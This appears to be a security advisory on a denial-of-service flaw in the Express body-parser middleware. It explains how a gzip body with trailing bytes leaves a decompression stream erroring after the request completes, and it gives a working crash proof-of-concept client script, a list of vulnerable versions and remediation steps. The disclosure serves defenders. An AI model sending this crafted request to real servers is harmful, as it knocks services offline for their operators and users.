Skip to content

Share

Link copied to clipboard
securityGavin Stuart

CVE-2026-111181: How one gzip request crashes body-parser

Root cause analysis, proof of concept, and remediation guidance for a denial-of-service flaw in body-parser

CVE-2026-111181body-parserexpress.jsvulnerability

CVE-2026-111181 is a denial-of-service vulnerability in the Express body-parser middleware that allows a malicious client to crash a server using body-parser with a single request. body-parser accepts compressed requests by default, rendering most unpatched versions vulnerable.

How it works

When inflate is enabled (which it is by default), the contentstream() function that read() calls creates a decompression stream and pipes the incoming request into it:

const stream = createDecompressionStream(encoding, debug)
req.pipe(stream)
return stream

Once the body is read, body-parser calls next() on the success path while the request remains piped into the decoder, without attaching an error listener to that stream:

  req.body = parse(str, encoding)
} catch (err) {
  next(createError(400, err, {
    body: str,
    type: err.type || 'entity.parse.failed'
  }))
  return
}
 
next()

As a result, when a request payload contains a valid gzip member followed by a zero byte and more data, the following sequence unfolds:

  • The decoder reaches the end of the valid gzip member and signals completion, but does not close. The raw-body library returns the decoded payload and detaches its event listeners, including the error listener.
  • body-parser hands control to the next middleware, allowing the Express app to process the request and send a normal response.
  • The trailing bytes continue flowing into the still-open decoder, which emits an error because decompression has already finished.
  • The only error listener left is the one Node's pipe() added, which re-emits the error. With nothing else listening, this becomes an uncaught exception that crashes the Node.js process.

Triggering the vulnerability

Any server running an impacted version (see Vulnerable versions) of body-parser with request decompression enabled is vulnerable. While the minimal reproduction below uses a raw node:http server with body-parser, a standard Express 4 or 5 application behaves the same way.

server.js
import http from 'node:http'
import bodyParser from 'body-parser'
 
const parse = bodyParser.json()
 
http.createServer((req, res) => parse(req, res, () => res.end('ok\n')))
  .listen(3000, '127.0.0.1', () => console.log('up, pid', process.pid))

To trigger the vulnerability, a malicious client sends a body made of a valid gzip-compressed {} JSON object followed by a zero byte and extra trailing bytes:

client.js
import net from 'node:net'
import { gzipSync } from 'node:zlib'
 
const body = Buffer.concat([
  gzipSync(Buffer.from('{}')),   // a valid compressed frame
  Buffer.from([0x00]),           // makes gunzip end on the first member
  Buffer.alloc(100 * 1024, 0x58) // reaches the decoder after it finishes
])
 
const req = [
  'POST / HTTP/1.1',
  'Host: x',
  'Content-Type: application/json',
  'Content-Encoding: gzip',
  `Content-Length: ${body.length}`,
  '', ''
].join('\r\n')
 
net.connect(3000, '127.0.0.1', function () {
  this.on('data', d => process.stdout.write(d))
  this.write(req)
  this.write(body)
})

Impact

A remote client can crash the application with a single request, making it easy to take down an entire load-balanced cluster by spreading a handful of requests across vulnerable nodes. When the parser is mounted globally ahead of authentication, the request does not need to match a valid route or pass authentication.

Vulnerable versions

  • body-parser 2.3.x and earlier
  • body-parser 1.20.8 and earlier

Mitigation

Upgrade to body-parser 2.4.0 or later, or 1.20.9 or later.

If the application does not need compressed request bodies, set inflate to false to reject encoded requests before a decompression stream is created:

JavaScript
import bodyParser from 'body-parser'
 
app.use(bodyParser.json({ inflate: false }))
Warning

This workaround rejects compressed bodies. Upgrade if the application needs to accept them.

References